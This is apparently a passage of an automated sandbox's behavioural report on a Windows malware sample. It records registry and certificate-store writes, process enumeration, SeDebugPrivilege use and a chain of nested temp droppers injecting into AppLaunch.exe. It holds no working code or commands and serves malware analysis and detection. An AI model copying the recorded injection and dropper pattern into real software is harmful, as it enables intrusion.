Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1821 = "Russia TZ 1 Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1862 = "Russia TZ 6 Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-3052 = "Qyzylorda Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-3141 = "South Sudan Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time" C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3zu76Tt.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3zu76Tt.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3zu76Tt.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\5F65.exe N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: 33 N/A C:\Windows\system32\AUDIODG.EXE N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\AUDIODG.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\is-6PF8V.tmp\LzmwAqmV.tmp N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3204 wrote to memory of 4392 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\oi1Lp79.exe
PID 3204 wrote to memory of 4392 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\oi1Lp79.exe
PID 3204 wrote to memory of 4392 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\oi1Lp79.exe
PID 4392 wrote to memory of 4560 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\oi1Lp79.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\WL7Sl07.exe
PID 4392 wrote to memory of 4560 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\oi1Lp79.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\WL7Sl07.exe
PID 4392 wrote to memory of 4560 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\oi1Lp79.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\WL7Sl07.exe
PID 4560 wrote to memory of 2744 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\WL7Sl07.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Ui7LQ65.exe
PID 4560 wrote to memory of 2744 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\WL7Sl07.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Ui7LQ65.exe
PID 4560 wrote to memory of 2744 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\WL7Sl07.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Ui7LQ65.exe
PID 2744 wrote to memory of 1712 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Ui7LQ65.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\ep0xp07.exe
PID 2744 wrote to memory of 1712 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Ui7LQ65.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\ep0xp07.exe
PID 2744 wrote to memory of 1712 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Ui7LQ65.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\ep0xp07.exe
PID 1712 wrote to memory of 2304 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\ep0xp07.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\pn6LO64.exe
PID 1712 wrote to memory of 2304 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\ep0xp07.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\pn6LO64.exe
PID 1712 wrote to memory of 2304 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\ep0xp07.exe C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\pn6LO64.exe
PID 2304 wrote to memory of 2344 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\pn6LO64.exe C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1Kt08wg5.exe
PID 2304 wrote to memory of 2344 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\pn6LO64.exe C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1Kt08wg5.exe
PID 2304 wrote to memory of 2344 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\pn6LO64.exe C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1Kt08wg5.exe
PID 2344 wrote to memory of 1912 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1Kt08wg5.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2344 wrote to memory of 1912 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1Kt08wg5.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2344 wrote to memory of 1912 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1Kt08wg5.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2344 wrote to memory of 1912 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1Kt08wg5.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2344 wrote to memory of 1912 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1Kt08wg5.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2344 wrote to memory of 1912 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1Kt08wg5.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2344 wrote to memory of 1912 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1Kt08wg5.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2344 wrote to memory of 1912 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1Kt08wg5.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2304 wrote to memory of 4336 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\pn6LO64.exe C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2BC1291.exe
PID 2304 wrote to memory of 4336 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\pn6LO64.exe C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2BC1291.exe
PID 2304 wrote to memory of 4336 N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\pn6LO64.exe C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2BC1291.exe
PID 4336 wrote to memory of 4576 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2BC1291.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4336 wrote to memory of 4576 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2BC1291.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4336 wrote to memory of 4576 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2BC1291.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4336 wrote to memory of 4576 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2BC1291.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4336 wrote to memory of 4576 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2BC1291.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4336 wrote to memory of 4576 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2BC1291.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 4336 wrote to memory of 4576 N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2BC1291.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
